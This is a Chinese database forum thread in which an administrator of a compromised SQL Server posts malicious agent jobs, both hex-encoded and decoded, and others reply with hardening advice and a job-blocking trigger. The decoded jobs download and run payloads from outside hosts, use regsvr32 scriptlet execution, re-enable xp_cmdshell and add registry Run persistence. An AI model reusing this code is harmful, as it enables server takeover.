公司的金蝶k3 cloud发现数据库经常被改sa密码,杀毒后发现以下sql病毒,求解他的用途

qq_38048915 2017-08-29 02:39:33
用麦咖啡杀毒后重启又出现病毒文件,网上搜了有人说是sql病毒,让在sql作业里查找,然后我就看到了一堆昨天新建的作业,其中有些是运行木马的,有些是T-SQL脚本,因为不熟悉这方面,求教怎样找齐病毒文件进行删除,另外这病毒有没有在数据库内写入脚本代码回魂,我服务器上用的是mssql 2008r2,服务器系统2008r2,管理员密码用的强密码,远程登录端口不是默认的,强行破解密码可能性应该不大,平时基本不登录这台服务器,这病毒是怎样进来的啊。。。。
杀到的原始病毒文件名是c:\Windows\Help\lsmosee.exe,另外在c:\Windows\system\找到几个bat文件,我只接删掉忘记留名字了

这些是我找到的T-SQL工作的内容,原内容是经过HEX编码的,我复制原始代码和解码后的代码过来

declare @a varchar(8000);set @a=0x4445434C4152452040526573756C7420696E743B4445434C415245204046534F5F546F6B656E20696E743B455845432040526573756C74203D2073705F4F4143726561746520277B30443433464530312D463039332D313143462D383934302D3030413043393035343232387D272C204046534F5F546F6B656E204F55545055543B455845432040526573756C74203D2073705F4F414D6574686F64204046534F5F546F6B656E2C202744656C657465466F6C646572272C204E554C4C2C2027633A5C446F63756D656E747320616E642053657474696E67735C44656661756C7420557365725C4C6F63616C2053657474696E67735C54656D706F7261727920496E7465726E65742046696C65735C436F6E74656E742E4945355C2A273B455845432040526573756C74203D2073705F4F414D6574686F64204046534F5F546F6B656E2C202744656C657465466F6C646572272C204E554C4C2C2027633A5C446F63756D656E747320616E642053657474696E67735C4E6574776F726B536572766963655C4C6F63616C2053657474696E67735C54656D706F7261727920496E7465726E65742046696C65735C436F6E74656E742E4945355C2A273B455845432040526573756C74203D2073705F4F414D6574686F64204046534F5F546F6B656E2C202744656C657465466F6C646572272C204E554C4C2C2027633A5C446F63756D656E747320616E642053657474696E67735C4C6F63616C536572766963655C4C6F63616C2053657474696E67735C54656D706F7261727920496E7465726E65742046696C65735C436F6E74656E742E4945355C2A273B455845432040526573756C74203D2073705F4F414D6574686F64204046534F5F546F6B656E2C202744656C657465466F6C646572272C204E554C4C2C2027433A5C57696E646F77735C53797374656D33325C636F6E6669675C73797374656D70726F66696C655C417070446174615C4C6F63616C5C4D6963726F736F66745C57696E646F77735C54656D706F7261727920496E7465726E65742046696C65735C436F6E74656E742E4945355C2A273B455845432040526573756C74203D2073705F4F4144657374726F79204046534F5F546F6B656E;exec(@a);

a解码后的内容
DECLARE @Result int;DECLARE @FSO_Token int;EXEC @Result = sp_OACreate '{0D43FE01-F093-11CF-8940-00A0C9054228}', @FSO_Token OUTPUT;EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\*';EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\*';EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'c:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\*';EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFolder', NULL, 'C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\*';EXEC @Result = sp_OADestroy @FSO_Token


declare @a varchar(8000);set @a=0x4445434C41524520406A733120696E743B455845432073705F4F414372656174652027536372697074436F6E74726F6C272C406A7331204F55543B455845432073705F4F4153657450726F706572747920406A73312C20274C616E6775616765272C20274A617661536372697074312E31273B455845432073705F4F414D6574686F6420406A73312C20274576616C272C204E554C4C2C202776617220746F66663D333030303B7661722075726C31203D2022687474703A2F2F7777772E637967323031362E78797A3A383838382F6B696C6C2E68746D6C223B68747470203D206E657720416374697665584F626A65637428224D73786D6C322E536572766572584D4C4854545022293B66736F203D206E657720416374697665584F626A6563742822536372697074696E672E46696C6573797374656D4F626A65637422293B777368203D206E657720416374697665584F626A6563742822575363726970742E5368656C6C22293B687474702E6F70656E2822474554222C2075726C312C2066616C7365293B687474702E73656E6428293B737472203D20687474702E726573706F6E7365546578743B617272203D207374722E73706C697428225C725C6E22293B666F72202869203D20303B2069203C206172722E6C656E6774683B20692B2B29207B2074203D206172725B695D2E73706C697428222022293B2070726F63203D20745B305D3B2070617468203D20745B315D3B2064656C65203D20745B325D3B207773682E52756E28227461736B6B696C6C202F66202F696D2022202B2070726F632C20302C2074727565293B6966202864656C65203D3D203029207B20747279207B2066736F2E44656C65746546696C6528706174682C2074727565293B207D20636174636820286529207B7D207D207D3B766172206C6F6361746F723D6E657720416374697665584F626A65637428225762656D536372697074696E672E535762656D4C6F6361746F7222293B76617220736572766963653D6C6F6361746F722E436F6E6E65637453657276657228222E222C22726F6F742F63696D763222293B76617220636F6C4974656D733D736572766963652E457865635175657279282273656C656374202A2066726F6D2057696E33325F50726F6365737322293B76617220653D6E657720456E756D657261746F7228636F6C4974656D73293B7661722074313D6E6577204461746528292E76616C75654F6628293B666F72283B21652E6174456E6428293B652E6D6F76654E6578742829297B76617220703D652E6974656D28293B696628702E43617074696F6E3D3D2272756E646C6C33322E6578652229702E5465726D696E61746528297D3B7661722074323D303B7768696C652874322D74313C746F6666297B7661722074323D6E6577204461746528292E76616C75654F6628297D7661722070703D736572766963652E676574282257696E33325F50726F6365737322293B7661722075726C3D22687474703A2F2F7777772E637967323031362E78797A3A383838382F746573742E68746D6C222C687474703D6E657720416374697665584F626A65637428224D6963726F736F66742E584D4C4854545022292C61646F3D6E657720416374697665584F626A656374282241444F44422E53747265616D22292C7773683D6E657720416374697665584F626A6563742822575363726970742E5368656C6C22293B666F7228687474702E6F70656E2822474554222C75726C2C2131292C687474702E73656E6428292C7374723D687474702E726573706F6E7365546578742C6172723D7374722E73706C697428225C725C6E22292C693D303B6172722E6C656E6774683E693B692B2B29743D6172725B695D2E73706C6974282220222C33292C687474702E6F70656E2822474554222C745B305D2C2131292C687474702E73656E6428292C61646F2E547970653D312C61646F2E4F70656E28292C61646F2E577269746528687474702E726573706F6E7365426F6479292C61646F2E53617665546F46696C6528745B315D2C32292C61646F2E436C6F736528292C313D3D745B325D26267773682E52756E28745B315D293B70702E63726561746528227265677376723332202F73207368656C6C33322E646C6C22293B70702E63726561746528227265677376723332202F73205753486F6D2E4F637822293B70702E63726561746528227265677376723332202F732073637272756E2E646C6C22293B70702E63726561746528227265677376723332202F7320633A5C5C50726F6772617E315C5C436F6D6D6F6E7E315C5C53797374656D5C5C41646F5C5C4D7361646F31352E646C6C22293B70702E63726561746528227265677376723332202F73206A7363726970742E646C6C22293B70702E63726561746528227265677376723332202F75202F73202F693A687474703A2F2F6A732E6D796B696E67732E746F703A3238302F762E736374207363726F626A2E646C6C22293B70702E637265617465282272756E646C6C33322E65786520633A5C5C77696E646F77735C5C64656275675C5C6974656D2E6461742C536572766963654D61696E206161616122293B27;exec(@a);


a解码
DECLARE @js1 int;EXEC sp_OACreate 'ScriptControl',@js1 OUT;EXEC sp_OASetProperty @js1, 'Language', 'JavaScript1.1';EXEC sp_OAMethod @js1, 'Eval', NULL, 'var toff=3000;var url1 = "http://www.cyg2016.xyz:8888/kill.html";http = new ActiveXObject("Msxml2.ServerXMLHTTP");fso = new ActiveXObject("Scripting.FilesystemObject");wsh = new ActiveXObject("WScript.Shell");http.open("GET", url1, false);http.send();str = http.responseText;arr = str.split("\r\n");for (i = 0; i < arr.length; i++) { t = arr[i].split(" "); proc = t[0]; path = t[1]; dele = t[2]; wsh.Run("taskkill /f /im " + proc, 0, true);if (dele == 0) { try { fso.DeleteFile(path, true); } catch (e) {} } };var locator=new ActiveXObject("WbemScripting.SWbemLocator");var service=locator.ConnectServer(".","root/cimv2");var colItems=service.ExecQuery("select * from Win32_Process");var e=new Enumerator(colItems);var t1=new Date().valueOf();for(;!e.atEnd();e.moveNext()){var p=e.item();if(p.Caption=="rundll32.exe")p.Terminate()};var t2=0;while(t2-t1<toff){var t2=new Date().valueOf()}var pp=service.get("Win32_Process");var url="http://www.cyg2016.xyz:8888/test.html",http=new ActiveXObject("Microsoft.XMLHTTP"),ado=new ActiveXObject("ADODB.Stream"),wsh=new ActiveXObject("WScript.Shell");for(http.open("GET",url,!1),http.send(),str=http.responseText,arr=str.split("\r\n"),i=0;arr.length>i;i++)t=arr[i].split(" ",3),http.open("GET",t[0],!1),http.send(),ado.Type=1,ado.Open(),ado.Write(http.responseBody),ado.SaveToFile(t[1],2),ado.Close(),1==t[2]&&wsh.Run(t[1]);pp.create("regsvr32 /s shell32.dll");pp.create("regsvr32 /s WSHom.Ocx");pp.create("regsvr32 /s scrrun.dll");pp.create("regsvr32 /s c:\\Progra~1\\Common~1\\System\\Ado\\Msado15.dll");pp.create("regsvr32 /s jscript.dll");pp.create("regsvr32 /u /s /i:http://js.mykings.top:280/v.sct scrobj.dll");pp.create("rundll32.exe c:\\windows\\debug\\item.dat,ServiceMain aaaa");'




还有很多作业的T-SQL没搬过来,太长了回帖里搬
...全文
2057 23 打赏 收藏 转发到动态 举报
写回复
用AI写文章
23 条回复
切换为时间正序
请发表友善的回复…
发表回复
qq_38048915 2017-09-11
  • 打赏
  • 举报
回复
继续报告一下,这个病毒还没完,后来装了麦咖啡做全盘监控,发现还有在下载病毒程序,百度后有了新结果,是WMI脚本,使用ms的autoruns软件才能查看WMI脚本,然后又发现残余文件,现在正在处理中
qq_38048915 2017-08-31
  • 打赏
  • 举报
回复
暂时没发现问题,谢谢大家了~
吉普赛的歌 2017-08-30
  • 打赏
  • 举报
回复
引用 20 楼 qq_38048915 的回复:
[quote=引用 15 楼 yenange 的回复:] [quote=引用 14 楼 qq_38048915 的回复:] 刚去看了下,多了一堆开放所有本地端口的入站规则。。。。。之前应该是没禁过端口用的默认规则
那就把那些入站规则全部删除了, 新建一个只供网站访问的端口的入站规则。 把上面我说的那些都做一下, 每天再看看入站规则有没有被修改或添加。[/quote] 还有个想问一下,sa账号怎样改名字,现在只能禁用 [/quote] F2 就可以了
qq_38048915 2017-08-30
  • 打赏
  • 举报
回复
引用 15 楼 yenange 的回复:
[quote=引用 14 楼 qq_38048915 的回复:] 刚去看了下,多了一堆开放所有本地端口的入站规则。。。。。之前应该是没禁过端口用的默认规则
那就把那些入站规则全部删除了, 新建一个只供网站访问的端口的入站规则。 把上面我说的那些都做一下, 每天再看看入站规则有没有被修改或添加。[/quote] 还有个想问一下,sa账号怎样改名字,现在只能禁用
引用 19 楼 z10843087 的回复:
[quote=引用 18 楼 qq_38048915 的回复:] [quote=引用 16 楼 z10843087 的回复:] [quote=引用 7 楼 qq_38048915 的回复:] [quote=引用 1 楼 yenange 的回复:] 1. 服务器防火墙限制白名单,只允许内部ip访问DB服务器; 2. 禁用所有 sysadmin 权限的账号(windows账号除外,留一个), 特别是 sa , 要禁用并改名; 3. 检查所有应用程序用的代码,全部采用参数化, 不允许拼接字符串(主要是输入值不能拼到sql); 4. 每周例行杀毒一次, 看还有没有新病毒出现。 5. 在 msdb 库中的 [dbo].[sysjobs] 表的触发器 [dbo].[trig_sysjobs_insert_update] 中增加逻辑:凡是作业名不以 XXX (比如你们公司名简称)开头的,一律报错并发邮件给你; http://blog.csdn.net/yenange/article/details/10349773
USE [msdb]
GO
ALTER TRIGGER [dbo].[trig_sysjobs_insert_update]
ON [dbo].[sysjobs]
FOR INSERT, UPDATE
AS
BEGIN
  SET NOCOUNT ON
  -- Disallow the insert or update if the originating_server_id isn't in sysoriginatingservers_view.  
  IF (EXISTS (SELECT *
            FROM inserted
           WHERE inserted.originating_server_id NOT IN 
                    (SELECT v.originating_server_id 
                     FROM sysoriginatingservers_view AS v)))
  BEGIN
   RAISERROR(14379, -1, -1, 'dbo.sysjobs')
   ROLLBACK TRANSACTION
    RETURN
  END
  --增加的自定义部分
  IF EXISTS(SELECT 1 FROM INSERTED WHERE name  NOT LIKE 'ABC%' )
  BEGIN
  	RAISERROR ('没有按公司规定建立作业,请咨询管理员.', -- Message text.
                16, -- Severity.
                1 -- State.
               );
	ROLLBACK TRANSACTION
	--你可以增加发邮件的部分代码。
    RETURN
  END
END
这台服务器是托管在机房的,当初建立的时候上一任没把应用服务器和数据库服务器分开,数据库服务器直接暴露在外网。。。简直蛋疼,现在如果服务器限制不了访问IP的话有什么其他方法防范入侵吗,现在最大的问题是找不到他入侵的渠道,看着像是通过sql下载木马入侵,但是他怎么在我这里建立工作的不清楚,是mssql的漏洞?[/quote] 应用和数据库服务器在一起的,更多可能性是通过应用的程序攻破的。尽量 还是把应用和数据库分开吧,然后数据库放内网。[/quote] 公司其他的应用都是分开的,不知道当初为什么这个应用合在了一起,因为这个应用绑定设备特征码的,要修改需要花一大笔费用[/quote] 现在问题解决了吗?我以前在游戏公司的时候,经常被攻击。[/quote] 暂时没发现重新被下载木马了,我把找到的下载木马的那几个域名改了hosts,禁了注册表修改,清理了一遍残余的bat文件,重新修改了系统和sql的密码,禁用加改名sa账号,入站端口除了应用要用到的全禁止了,触发器也加了逻辑,现在每天杀一下毒再观察一下。
OwenZeng_DBA 2017-08-30
  • 打赏
  • 举报
回复
引用 18 楼 qq_38048915 的回复:
[quote=引用 16 楼 z10843087 的回复:] [quote=引用 7 楼 qq_38048915 的回复:] [quote=引用 1 楼 yenange 的回复:] 1. 服务器防火墙限制白名单,只允许内部ip访问DB服务器; 2. 禁用所有 sysadmin 权限的账号(windows账号除外,留一个), 特别是 sa , 要禁用并改名; 3. 检查所有应用程序用的代码,全部采用参数化, 不允许拼接字符串(主要是输入值不能拼到sql); 4. 每周例行杀毒一次, 看还有没有新病毒出现。 5. 在 msdb 库中的 [dbo].[sysjobs] 表的触发器 [dbo].[trig_sysjobs_insert_update] 中增加逻辑:凡是作业名不以 XXX (比如你们公司名简称)开头的,一律报错并发邮件给你; http://blog.csdn.net/yenange/article/details/10349773
USE [msdb]
GO
ALTER TRIGGER [dbo].[trig_sysjobs_insert_update]
ON [dbo].[sysjobs]
FOR INSERT, UPDATE
AS
BEGIN
  SET NOCOUNT ON
  -- Disallow the insert or update if the originating_server_id isn't in sysoriginatingservers_view.  
  IF (EXISTS (SELECT *
            FROM inserted
           WHERE inserted.originating_server_id NOT IN 
                    (SELECT v.originating_server_id 
                     FROM sysoriginatingservers_view AS v)))
  BEGIN
   RAISERROR(14379, -1, -1, 'dbo.sysjobs')
   ROLLBACK TRANSACTION
    RETURN
  END
  --增加的自定义部分
  IF EXISTS(SELECT 1 FROM INSERTED WHERE name  NOT LIKE 'ABC%' )
  BEGIN
  	RAISERROR ('没有按公司规定建立作业,请咨询管理员.', -- Message text.
                16, -- Severity.
                1 -- State.
               );
	ROLLBACK TRANSACTION
	--你可以增加发邮件的部分代码。
    RETURN
  END
END
这台服务器是托管在机房的,当初建立的时候上一任没把应用服务器和数据库服务器分开,数据库服务器直接暴露在外网。。。简直蛋疼,现在如果服务器限制不了访问IP的话有什么其他方法防范入侵吗,现在最大的问题是找不到他入侵的渠道,看着像是通过sql下载木马入侵,但是他怎么在我这里建立工作的不清楚,是mssql的漏洞?[/quote] 应用和数据库服务器在一起的,更多可能性是通过应用的程序攻破的。尽量 还是把应用和数据库分开吧,然后数据库放内网。[/quote] 公司其他的应用都是分开的,不知道当初为什么这个应用合在了一起,因为这个应用绑定设备特征码的,要修改需要花一大笔费用[/quote] 现在问题解决了吗?我以前在游戏公司的时候,经常被攻击。
qq_38048915 2017-08-30
  • 打赏
  • 举报
回复
引用 16 楼 z10843087 的回复:
[quote=引用 7 楼 qq_38048915 的回复:] [quote=引用 1 楼 yenange 的回复:] 1. 服务器防火墙限制白名单,只允许内部ip访问DB服务器; 2. 禁用所有 sysadmin 权限的账号(windows账号除外,留一个), 特别是 sa , 要禁用并改名; 3. 检查所有应用程序用的代码,全部采用参数化, 不允许拼接字符串(主要是输入值不能拼到sql); 4. 每周例行杀毒一次, 看还有没有新病毒出现。 5. 在 msdb 库中的 [dbo].[sysjobs] 表的触发器 [dbo].[trig_sysjobs_insert_update] 中增加逻辑:凡是作业名不以 XXX (比如你们公司名简称)开头的,一律报错并发邮件给你; http://blog.csdn.net/yenange/article/details/10349773
USE [msdb]
GO
ALTER TRIGGER [dbo].[trig_sysjobs_insert_update]
ON [dbo].[sysjobs]
FOR INSERT, UPDATE
AS
BEGIN
  SET NOCOUNT ON
  -- Disallow the insert or update if the originating_server_id isn't in sysoriginatingservers_view.  
  IF (EXISTS (SELECT *
            FROM inserted
           WHERE inserted.originating_server_id NOT IN 
                    (SELECT v.originating_server_id 
                     FROM sysoriginatingservers_view AS v)))
  BEGIN
   RAISERROR(14379, -1, -1, 'dbo.sysjobs')
   ROLLBACK TRANSACTION
    RETURN
  END
  --增加的自定义部分
  IF EXISTS(SELECT 1 FROM INSERTED WHERE name  NOT LIKE 'ABC%' )
  BEGIN
  	RAISERROR ('没有按公司规定建立作业,请咨询管理员.', -- Message text.
                16, -- Severity.
                1 -- State.
               );
	ROLLBACK TRANSACTION
	--你可以增加发邮件的部分代码。
    RETURN
  END
END
这台服务器是托管在机房的,当初建立的时候上一任没把应用服务器和数据库服务器分开,数据库服务器直接暴露在外网。。。简直蛋疼,现在如果服务器限制不了访问IP的话有什么其他方法防范入侵吗,现在最大的问题是找不到他入侵的渠道,看着像是通过sql下载木马入侵,但是他怎么在我这里建立工作的不清楚,是mssql的漏洞?[/quote] 应用和数据库服务器在一起的,更多可能性是通过应用的程序攻破的。尽量 还是把应用和数据库分开吧,然后数据库放内网。[/quote] 公司其他的应用都是分开的,不知道当初为什么这个应用合在了一起,因为这个应用绑定设备特征码的,要修改需要花一大笔费用
qq_38048915 2017-08-29
  • 打赏
  • 举报
回复
引用 15 楼 yenange 的回复:
[quote=引用 14 楼 qq_38048915 的回复:] 刚去看了下,多了一堆开放所有本地端口的入站规则。。。。。之前应该是没禁过端口用的默认规则
那就把那些入站规则全部删除了, 新建一个只供网站访问的端口的入站规则。 把上面我说的那些都做一下, 每天再看看入站规则有没有被修改或添加。[/quote] ok,都先设置了,明天再看看木马有没有回来,谢谢了。
OwenZeng_DBA 2017-08-29
  • 打赏
  • 举报
回复
引用 7 楼 qq_38048915 的回复:
[quote=引用 1 楼 yenange 的回复:] 1. 服务器防火墙限制白名单,只允许内部ip访问DB服务器; 2. 禁用所有 sysadmin 权限的账号(windows账号除外,留一个), 特别是 sa , 要禁用并改名; 3. 检查所有应用程序用的代码,全部采用参数化, 不允许拼接字符串(主要是输入值不能拼到sql); 4. 每周例行杀毒一次, 看还有没有新病毒出现。 5. 在 msdb 库中的 [dbo].[sysjobs] 表的触发器 [dbo].[trig_sysjobs_insert_update] 中增加逻辑:凡是作业名不以 XXX (比如你们公司名简称)开头的,一律报错并发邮件给你; http://blog.csdn.net/yenange/article/details/10349773
USE [msdb]
GO
ALTER TRIGGER [dbo].[trig_sysjobs_insert_update]
ON [dbo].[sysjobs]
FOR INSERT, UPDATE
AS
BEGIN
  SET NOCOUNT ON
  -- Disallow the insert or update if the originating_server_id isn't in sysoriginatingservers_view.  
  IF (EXISTS (SELECT *
            FROM inserted
           WHERE inserted.originating_server_id NOT IN 
                    (SELECT v.originating_server_id 
                     FROM sysoriginatingservers_view AS v)))
  BEGIN
   RAISERROR(14379, -1, -1, 'dbo.sysjobs')
   ROLLBACK TRANSACTION
    RETURN
  END
  --增加的自定义部分
  IF EXISTS(SELECT 1 FROM INSERTED WHERE name  NOT LIKE 'ABC%' )
  BEGIN
  	RAISERROR ('没有按公司规定建立作业,请咨询管理员.', -- Message text.
                16, -- Severity.
                1 -- State.
               );
	ROLLBACK TRANSACTION
	--你可以增加发邮件的部分代码。
    RETURN
  END
END
这台服务器是托管在机房的,当初建立的时候上一任没把应用服务器和数据库服务器分开,数据库服务器直接暴露在外网。。。简直蛋疼,现在如果服务器限制不了访问IP的话有什么其他方法防范入侵吗,现在最大的问题是找不到他入侵的渠道,看着像是通过sql下载木马入侵,但是他怎么在我这里建立工作的不清楚,是mssql的漏洞?[/quote] 应用和数据库服务器在一起的,更多可能性是通过应用的程序攻破的。尽量 还是把应用和数据库分开吧,然后数据库放内网。
吉普赛的歌 2017-08-29
  • 打赏
  • 举报
回复
引用 14 楼 qq_38048915 的回复:
刚去看了下,多了一堆开放所有本地端口的入站规则。。。。。之前应该是没禁过端口用的默认规则
那就把那些入站规则全部删除了, 新建一个只供网站访问的端口的入站规则。 把上面我说的那些都做一下, 每天再看看入站规则有没有被修改或添加。
qq_38048915 2017-08-29
  • 打赏
  • 举报
回复
引用 13 楼 yenange 的回复:
[quote=引用 12 楼 qq_38048915 的回复:] [quote=引用 11 楼 yenange 的回复:] 先禁止修改注册表吧: https://jingyan.baidu.com/article/5552ef4731f7f9518efbc970.html 上面我说的禁止随便建立作业的那个脚本你也执行一下。 另外找一款监控文件夹变化的软件: http://www.appinn.com/watch-4-folder/ 另外, 你的应用是网站?
金蝶的k3 cloud,BS架构的ERP系统[/quote] 那也只是网站的端口暴露, 数据库的端口不用暴露在外面。 你的防火墙怎么设置的?[/quote] 刚去看了下,多了一堆开放所有本地端口的入站规则。。。。。之前应该是没禁过端口用的默认规则
吉普赛的歌 2017-08-29
  • 打赏
  • 举报
回复
引用 12 楼 qq_38048915 的回复:
[quote=引用 11 楼 yenange 的回复:] 先禁止修改注册表吧: https://jingyan.baidu.com/article/5552ef4731f7f9518efbc970.html 上面我说的禁止随便建立作业的那个脚本你也执行一下。 另外找一款监控文件夹变化的软件: http://www.appinn.com/watch-4-folder/ 另外, 你的应用是网站?
金蝶的k3 cloud,BS架构的ERP系统[/quote] 那也只是网站的端口暴露, 数据库的端口不用暴露在外面。 你的防火墙怎么设置的?
qq_38048915 2017-08-29
  • 打赏
  • 举报
回复
引用 11 楼 yenange 的回复:
先禁止修改注册表吧: https://jingyan.baidu.com/article/5552ef4731f7f9518efbc970.html 上面我说的禁止随便建立作业的那个脚本你也执行一下。 另外找一款监控文件夹变化的软件: http://www.appinn.com/watch-4-folder/ 另外, 你的应用是网站?
金蝶的k3 cloud,BS架构的ERP系统
吉普赛的歌 2017-08-29
  • 打赏
  • 举报
回复
先禁止修改注册表吧: https://jingyan.baidu.com/article/5552ef4731f7f9518efbc970.html 上面我说的禁止随便建立作业的那个脚本你也执行一下。 另外找一款监控文件夹变化的软件: http://www.appinn.com/watch-4-folder/ 另外, 你的应用是网站?
qq_38048915 2017-08-29
  • 打赏
  • 举报
回复
引用 8 楼 yenange 的回复:
[quote=引用 7 楼 qq_38048915 的回复:] 这台服务器是托管在机房的,当初建立的时候上一任没把应用服务器和数据库服务器分开,数据库服务器直接暴露在外网。。。简直蛋疼,现在如果服务器限制不了访问IP的话有什么其他方法防范入侵吗,现在最大的问题是找不到他入侵的渠道,看着像是通过sql下载木马入侵,但是他怎么在我这里建立工作的不清楚,是mssql的漏洞?
暴露在外网, 还不能限制白名单, DB服务器和应用不能分开。 如果都做不到那还说什么, 其它的做得再好都是分分钟攻破。 [/quote] 这台服务器是用的vmware vSphere分割的虚拟服务器,因为不常用,我都想通过直接关服务器躲避了,等要用的时候再开。。。白名单最大的问题是访问端没有固定IP,如果用白名单的话需要每次先远程进其他服务器,再通过内网进这个服务器改白名单。。。
qq_38048915 2017-08-29
  • 打赏
  • 举报
回复
引用 6 楼 yenange 的回复:
搜索一下 所有的 .bat 文件, 凡是不是自己建立的一律删除。 注册表 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 下的东西什么 .bat 之类的全部删除。 最好是让DB 服务器单独一台机, 应用放到别的地方。 这样即使应用有问题, 也不至于影响DB服务器。 如果有条件, 最好能重装一次系统和sqlserver.
搜了一下还真又找到了一堆。。。。而且因为命令是访问网站,杀毒软件对他没反应这个最惨的是这个服务器是现在分割不了。。。简直大坑
吉普赛的歌 2017-08-29
  • 打赏
  • 举报
回复
引用 7 楼 qq_38048915 的回复:
这台服务器是托管在机房的,当初建立的时候上一任没把应用服务器和数据库服务器分开,数据库服务器直接暴露在外网。。。简直蛋疼,现在如果服务器限制不了访问IP的话有什么其他方法防范入侵吗,现在最大的问题是找不到他入侵的渠道,看着像是通过sql下载木马入侵,但是他怎么在我这里建立工作的不清楚,是mssql的漏洞?
暴露在外网, 还不能限制白名单, DB服务器和应用不能分开。 如果都做不到那还说什么, 其它的做得再好都是分分钟攻破。
qq_38048915 2017-08-29
  • 打赏
  • 举报
回复
引用 1 楼 yenange 的回复:
1. 服务器防火墙限制白名单,只允许内部ip访问DB服务器; 2. 禁用所有 sysadmin 权限的账号(windows账号除外,留一个), 特别是 sa , 要禁用并改名; 3. 检查所有应用程序用的代码,全部采用参数化, 不允许拼接字符串(主要是输入值不能拼到sql); 4. 每周例行杀毒一次, 看还有没有新病毒出现。 5. 在 msdb 库中的 [dbo].[sysjobs] 表的触发器 [dbo].[trig_sysjobs_insert_update] 中增加逻辑:凡是作业名不以 XXX (比如你们公司名简称)开头的,一律报错并发邮件给你; http://blog.csdn.net/yenange/article/details/10349773
USE [msdb]
GO
ALTER TRIGGER [dbo].[trig_sysjobs_insert_update]
ON [dbo].[sysjobs]
FOR INSERT, UPDATE
AS
BEGIN
  SET NOCOUNT ON
  -- Disallow the insert or update if the originating_server_id isn't in sysoriginatingservers_view.  
  IF (EXISTS (SELECT *
            FROM inserted
           WHERE inserted.originating_server_id NOT IN 
                    (SELECT v.originating_server_id 
                     FROM sysoriginatingservers_view AS v)))
  BEGIN
   RAISERROR(14379, -1, -1, 'dbo.sysjobs')
   ROLLBACK TRANSACTION
    RETURN
  END
  --增加的自定义部分
  IF EXISTS(SELECT 1 FROM INSERTED WHERE name  NOT LIKE 'ABC%' )
  BEGIN
  	RAISERROR ('没有按公司规定建立作业,请咨询管理员.', -- Message text.
                16, -- Severity.
                1 -- State.
               );
	ROLLBACK TRANSACTION
	--你可以增加发邮件的部分代码。
    RETURN
  END
END
这台服务器是托管在机房的,当初建立的时候上一任没把应用服务器和数据库服务器分开,数据库服务器直接暴露在外网。。。简直蛋疼,现在如果服务器限制不了访问IP的话有什么其他方法防范入侵吗,现在最大的问题是找不到他入侵的渠道,看着像是通过sql下载木马入侵,但是他怎么在我这里建立工作的不清楚,是mssql的漏洞?
吉普赛的歌 2017-08-29
  • 打赏
  • 举报
回复
搜索一下 所有的 .bat 文件, 凡是不是自己建立的一律删除。 注册表 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 下的东西什么 .bat 之类的全部删除。 最好是让DB 服务器单独一台机, 应用放到别的地方。 这样即使应用有问题, 也不至于影响DB服务器。 如果有条件, 最好能重装一次系统和sqlserver.
qq_38048915 2017-08-29
  • 打赏
  • 举报
回复
declare @a varchar(8000);set @a=0x757365206D61737465723B44726F702050726F6365647572652078705F636D647368656C6C3B44726F702050726F6365647572652073705F4F414D6574686F643B44726F702050726F6365647572652073705F4F414372656174653B44726F702050726F6365647572652073705F4F4153657450726F70657274793B44726F702050726F6365647572652073705F4F4144657374726F793B44726F702050726F6365647572652078705F72656777726974653B44726F702050726F6365647572652078705F72656764656C65746576616C75653B44726F702050726F6365647572652078705F72656764656C6574656B65793B6462636320616464657874656E64656470726F6320282778705F636D647368656C6C272C2778706C6F6737302E646C6C27293B6462636320616464657874656E64656470726F6320282773705F4F414D6574686F64272C276F64736F6C6537302E646C6C27293B6462636320616464657874656E64656470726F6320282773705F4F41437265617465272C276F64736F6C6537302E646C6C27293B6462636320616464657874656E64656470726F6320282773705F4F4153657450726F7065727479272C276F64736F6C6537302E646C6C27293B6462636320616464657874656E64656470726F6320282773705F4F4144657374726F79272C276F64736F6C6537302E646C6C27293B6462636320616464657874656E64656470726F6320282778705F7265677772697465272C277870737461722E646C6C27293B6462636320616464657874656E64656470726F6320282778705F72656764656C65746576616C7565272C277870737461722E646C6C27293B6462636320616464657874656E64656470726F6320282778705F72656764656C6574656B6579272C277870737461722E646C6C2729;exec(@a);
解码
use master;Drop Procedure xp_cmdshell;Drop Procedure sp_OAMethod;Drop Procedure sp_OACreate;Drop Procedure sp_OASetProperty;Drop Procedure sp_OADestroy;Drop Procedure xp_regwrite;Drop Procedure xp_regdeletevalue;Drop Procedure xp_regdeletekey;dbcc addextendedproc ('xp_cmdshell','xplog70.dll');dbcc addextendedproc ('sp_OAMethod','odsole70.dll');dbcc addextendedproc ('sp_OACreate','odsole70.dll');dbcc addextendedproc ('sp_OASetProperty','odsole70.dll');dbcc addextendedproc ('sp_OADestroy','odsole70.dll');dbcc addextendedproc ('xp_regwrite','xpstar.dll');dbcc addextendedproc ('xp_regdeletevalue','xpstar.dll');dbcc addextendedproc ('xp_regdeletekey','xpstar.dll')
declare @a varchar(8000);set @a=0x45584543206D61737465722E64626F2E78705F72656777726974652027484B45595F4C4F43414C5F4D414348494E45272C27534F4654574152455C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E272C274247436C69656E7473272C275245475F535A272C27636D64202F63207374617274202F6D696E20633A5C77696E646F77735C73797374656D33325C7762656D5C3132332E62617427;exec(@a);
解码
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','BGClients','REG_SZ','cmd /c start /min c:\windows\system32\wbem\123.bat'
OwenZeng_DBA 2017-08-29
  • 打赏
  • 举报
回复
不要用sa了,把sa禁用了,并且改名,自己建个账号给前段程序使用
加载更多回复(3)

22,209

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧